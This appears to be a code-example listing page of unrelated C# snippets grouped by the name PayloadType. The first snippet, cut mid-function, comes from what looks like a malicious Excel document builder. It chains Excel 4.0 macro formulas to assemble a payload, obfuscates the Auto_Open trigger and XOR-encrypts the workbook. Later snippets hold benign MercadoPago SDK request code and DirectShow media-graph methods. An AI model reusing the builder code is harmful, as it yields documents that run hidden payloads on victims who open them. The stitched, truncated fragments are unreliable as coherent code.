                ushort formInvocationCol = 0x9e;

                ushort evalFormInvocationRw  = 0xefff;
                ushort evalFormInvocationCol = 0x9d;

                //Lbl1
                wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false);
                //Lbl2
                wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false);

                //Lbl3
                wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true);
                //Lbl4
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true);
                //Lbl5
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true);

                //Lbl6
                wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false);
                //Lbl7
                wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true);


                List <Formula> charFunctionFormulas =
                    FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3,
                                                                   UnicodeHelper.CharFuncArgument1Label);
                foreach (var f in charFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes(
                    formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label,
                    UnicodeHelper.FormulaFuncArgument2Label, 4, 5);
                foreach (var f in formulaFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaEvalFunctionFormulas =
                    FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes(
                        evalFormInvocationRw, evalFormInvocationCol,
                        UnicodeHelper.FormulaEvalArgument1Label, 7);
                foreach (var f in formulaEvalFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }
            }

            wbe.AddLabel(localizedLabel, rwStart, colStart);

            wbe.ObfuscateAutoOpen(localizedLabel);

            WorkbookStream createdWorkbook = wbe.WbStream;

            if (!string.IsNullOrEmpty(password))
            {
                Console.WriteLine("Encrypting Document with Password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
                // createdWorkbook = createdWorkbook.FixBoundSheetOffsets();
            }

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, createdWorkbook, vbaInfo);
        }
Exemplo n.º 51
0
 public virtual void RemoveCompressor(PayloadType payload)
 {
     RemoveCompressor();
 }
Exemplo n.º 52
0
 public virtual void RemoveCompressor(PayloadType payload)
 {
     RemoveCompressor();
 }
Exemplo n.º 53
0
 public virtual void RemoveRenderer(PayloadType payload)
 {
     RemoveRenderer();
 }
Exemplo n.º 54
0
        /// <summary>
        /// Core implementation of processMethod. Retrieves a generic type.
        /// </summary>
        /// <typeparam name="T">Generic type that will return.</typeparam>
        /// <param name="clazz">Type of Class we are using.</param>
        /// <param name="resource">Resource we will use and return in the implementation.</param>
        /// <param name="methodName">The name of the method  we are trying to call.</param>
        /// <param name="parameters">Parameters to use in the process.</param>
        /// <param name="useCache">Cache configuration.</param>
        /// <param name="requestOptions">Object containing the request options.</param>
        /// <returns>Generic type object, containing information about retrieval process.</returns>
        protected static T ProcessMethod <T>(Type clazz, T resource, string methodName, Dictionary <string, string> parameters, bool useCache, MPRequestOptions requestOptions) where T : MPBase
        {
            if (resource == null)
            {
                try
                {
                    resource = (T)Activator.CreateInstance(clazz);
                }
                catch (Exception ex)
                {
                    throw new MPException(ex.Message);
                }
            }

            var         clazzMethod = GetAnnotatedMethod(clazz, methodName);
            var         restData    = GetRestInformation(clazzMethod);
            HttpMethod  httpMethod  = (HttpMethod)restData["method"];
            PayloadType payloadType = (PayloadType)restData["payloadType"];
            JObject     payload     = GeneratePayload(httpMethod, resource);

            if (requestOptions == null)
            {
                int requestTimeout = (int)restData["requestTimeout"];
                int retries        = (int)restData["retries"];
                requestOptions = new MPRequestOptions
                {
                    Retries = retries,
                    Timeout = requestTimeout
                };
            }

            string        path     = ParsePath(restData["path"].ToString(), parameters, resource, requestOptions);
            MPAPIResponse response = CallAPI(httpMethod, path, payloadType, payload, useCache, requestOptions);

            if (response.StatusCode >= 200 && response.StatusCode < 300)
            {
                if (httpMethod != HttpMethod.DELETE)
                {
                    resource = (T)FillResourceWithResponseData(resource, response);
                    resource._lastApiResponse = response;
                }
                else
                {
                    resource = null;
                }
            }
            else if (response.StatusCode >= 400 && response.StatusCode < 500)
            {
                BadParamsError badParamsError = MPCoreUtils.GetBadParamsError(response.StringResponse);
                resource.Errors = badParamsError;
            }
            else
            {
                MPException webserverError = new MPException()
                {
                    StatusCode   = response.StatusCode,
                    ErrorMessage = response.StringResponse
                };
                webserverError.Cause.Add(response.JsonObjectResponse.ToString());
                throw webserverError;
            }

            return(resource);
        }
Exemplo n.º 55
0
 /// <summary>
 /// Remove everything downstream from the DVSplitter for the specified payload type
 /// </summary>
 /// <param name="payload"></param>
 public override void RemoveCompressor(PayloadType payload)
 {
     RemoveFiltersDownstreamFromSplitter(payload);
 }
Exemplo n.º 56
0
        /// <summary>
        /// Create a request to use in the call to a certain endpoint.
        /// </summary>
        /// <returns>Api response with the result of the call.</returns>
        public MPRequest CreateRequest(HttpMethod httpMethod,
            string path,
            PayloadType payloadType,
            JObject payload,
            MPRequestOptions requestOptions)
        {

            if (string.IsNullOrEmpty(path))
                throw new MPRESTException("Uri can not be an empty string.");

            if (httpMethod.Equals(HttpMethod.GET))
            {
                if (payload != null)
                {
                    throw new MPRESTException("Payload not supported for this method.");
                }
            }
            else if (httpMethod.Equals(HttpMethod.POST))
            {
                //if (payload == null)
                //{
                //    throw new MPRESTException("Must include payload for this method.");
                //}
            }
            else if (httpMethod.Equals(HttpMethod.PUT))
            {
                if (payload == null)
                {
                    throw new MPRESTException("Must include payload for this method.");
                }
            }
            else if (httpMethod.Equals(HttpMethod.DELETE))
            {
                if (payload != null)
                {
                    throw new MPRESTException("Payload not supported for this method.");
                }
            }

            MPRequest mpRequest = new MPRequest();
            mpRequest.Request = (HttpWebRequest)HttpWebRequest.Create(path);
            mpRequest.Request.Method = httpMethod.ToString();

            if (requestOptions == null)
            {
                requestOptions = new MPRequestOptions();
            }

            if (requestOptions.Timeout > 0)
            {
                mpRequest.Request.Timeout = requestOptions.Timeout;
            }

            mpRequest.Request.Headers.Add("x-product-id", SDK.ProductId);
            mpRequest.Request.Headers.Add("x-tracking-id", SDK.TrackingId);

            if (requestOptions.CustomHeaders != null)
            {
                foreach (var header in requestOptions.CustomHeaders)
                {
                    if (mpRequest.Request.Headers[header.Key] == null)
                    {
                        mpRequest.Request.Headers.Add(header.Key, header.Value);
                    }
                }
            }

            if (requestOptions.TrackHeaders != null)
            {
                foreach (var trackHeader in requestOptions.TrackHeaders)
                {
                    if (mpRequest.Request.Headers[trackHeader.Key] == null && trackHeader.Value != null)
                    {
                        mpRequest.Request.Headers[trackHeader.Key] = trackHeader.Value;
                    }
                }
            }

            if (payload != null) // POST & PUT
            {
                byte[] data = null;
                if (payloadType != PayloadType.JSON)
                {
                    var parametersDict = payload.ToObject<Dictionary<string, string>>();
                    StringBuilder parametersString = new StringBuilder();
                    parametersString.Append(string.Format("{0}={1}", parametersDict.First().Key, parametersDict.First().Value));
                    parametersDict.Remove(parametersDict.First().Key);
                    foreach (var value in parametersDict)
                    {
                        parametersString.Append(string.Format("&{0}={1}", value.Key, value.Value.ToString()));
                    }

                    data = Encoding.UTF8.GetBytes(parametersString.ToString());
                }
                else
                {
                    data = Encoding.UTF8.GetBytes(payload.ToString());
                }

                mpRequest.Request.UserAgent = "MercadoPago DotNet SDK/" + SDK.Version;
                mpRequest.Request.ContentLength = data.Length;
                mpRequest.Request.ContentType = payloadType == PayloadType.JSON ? "application/json" : "application/x-www-form-urlencoded";
                mpRequest.RequestPayload = data;
            }

            IWebProxy proxy = requestOptions.Proxy != null ? requestOptions.Proxy : (_proxy != null ? _proxy : SDK.Proxy);
            mpRequest.Request.Proxy = proxy;

            return mpRequest;
        }
Exemplo n.º 57
0
 /// <summary>
 /// Remove the renderer for the branch of the graph corresponding to the specified payload
 /// </summary>
 /// <param name="payload"></param>
 public override void RemoveRenderer(PayloadType payload)
 {
     if (dvSplitter != null) {
         if (payload == PayloadType.dynamicAudio) {
             if (audioCompressor == null) {
                 RemoveFiltersDownstreamFromPin(splitterAudioOut);
             }
             else {
                 RemoveFiltersDownstreamFrom(audioCompressor);
             }
         }
         else if (payload == PayloadType.dynamicVideo) {
             if (videoCompressor == null) {
                 RemoveFiltersDownstreamFromPin(splitterVideoOut);
             }
             else {
                 RemoveFiltersDownstreamFrom(videoCompressor);
             }
         }
     }
 }
Exemplo n.º 58
0
        /// <summary>
        /// Build a graph with sampleGrabber.  Render it, and get the media type.
        /// </summary>
        /// <param name="payload"></param>
        /// <returns></returns>
        public bool Build(PayloadType payload, RtpStream newStream)
        {
            this.stream = newStream;
            this.ssrc   = newStream.SSRC;

            //Required as of RC3:
            this.stream.IsUsingNextFrame = true;

            if ((ssrc == 0) || !((payload == PayloadType.dynamicVideo) || (payload == PayloadType.dynamicAudio)))
            {
                errorMsg = "Invalid inputs to build method.";
                return(false);
            }

            fgm = new FilgraphManagerClass();

            MSR.LST.MDShow.IBaseFilter bfSource = null;
            IGraphBuilder iGB = (IGraphBuilder)fgm;

            //if (false)
            //	rotnum = FilterGraph.AddToRot(iGB); //AddToRot(iGB);

            try
            {
                bfSource = RtpSourceClass.CreateInstance();
                ((MSR.LST.MDShow.Filters.IRtpSource)bfSource).Initialize(this.stream);
                iGB.AddFilter(bfSource, "RtpSource");
                MSR.LST.MDShow.IPin sourceOutput = Filter.GetPin(bfSource, _PinDirection.PINDIR_OUTPUT, Guid.Empty,
                                                                 Guid.Empty, false, 0);


                //Add SampleGrabber filter
                MSR.LST.MDShow.IBaseFilter bfGrabber = SampleGrabberClass.CreateInstance();
                iGB.AddFilter(bfGrabber, "Grabber");
                UW.CSE.MDShow.ISampleGrabber sgGrabber = (UW.CSE.MDShow.ISampleGrabber)bfGrabber;

                //Set mediatype
                UW.CSE.MDShow._AMMediaType mt = new UW.CSE.MDShow._AMMediaType();
                if (payload == PayloadType.dynamicVideo)
                {
                    mt.majortype = MediaType.MajorType.MEDIATYPE_Video;
                    //PRI2: RGB24 seems to work for all video?  We have used YUY2 in the past, but that won't work
                    // for screen streaming.  Probably could use more testing
                    //mt.subtype = MediaType.SubType.MEDIASUBTYPE_YUY2;
                    mt.subtype = MediaType.SubType.MEDIASUBTYPE_RGB24;
                }
                else
                {
                    mt.majortype = MediaType.MajorType.MEDIATYPE_Audio;
                    mt.subtype   = MediaType.SubType.MEDIASUBTYPE_PCM;                   //MEDIASUBTYPE_PCM;
                }

                sgGrabber.SetMediaType(ref mt);

                //Add samplegrabber callback
                //0 is sampleCB, 1 is bufferCB.  Only bufferCB is actually returning data so far.
                sgGrabber.SetCallback(callBack, 1);
                sgGrabber.SetOneShot(0);
                sgGrabber.SetBufferSamples(0);

                iGB.Render(sourceOutput);

                UW.CSE.MDShow._AMMediaType uwmt = new UW.CSE.MDShow._AMMediaType();
                sgGrabber.GetConnectedMediaType(ref uwmt);
                connectedMT = copy_AMMediaType(uwmt);
            }
            catch (Exception e)
            {
                errorMsg = e.Message;
                Debug.WriteLine("Exception while building graph: " + e.ToString());
                eventLog.WriteEntry("Exception while building graph: " + e.ToString(), EventLogEntryType.Error, 1001);
                return(false);
            }
            return(true);
        }
Exemplo n.º 59
0
 /// <summary>
 /// Remove the specified branch from the splitter.
 /// </summary>
 /// <param name="payload"></param>
 private void RemoveFiltersDownstreamFromSplitter(PayloadType payload)
 {
     if (dvSplitter != null) {
         if (payload == PayloadType.dynamicAudio) {
             RemoveFiltersDownstreamFromPin(splitterAudioOut);
             audioCompressor = null;
         }
         else if (payload == PayloadType.dynamicVideo) {
             RemoveFiltersDownstreamFromPin(splitterVideoOut);
             videoCompressor = null;
         }
     }
 }
Exemplo n.º 60
0
 public virtual void RemoveRenderer(PayloadType payload)
 {
     RemoveRenderer();
 }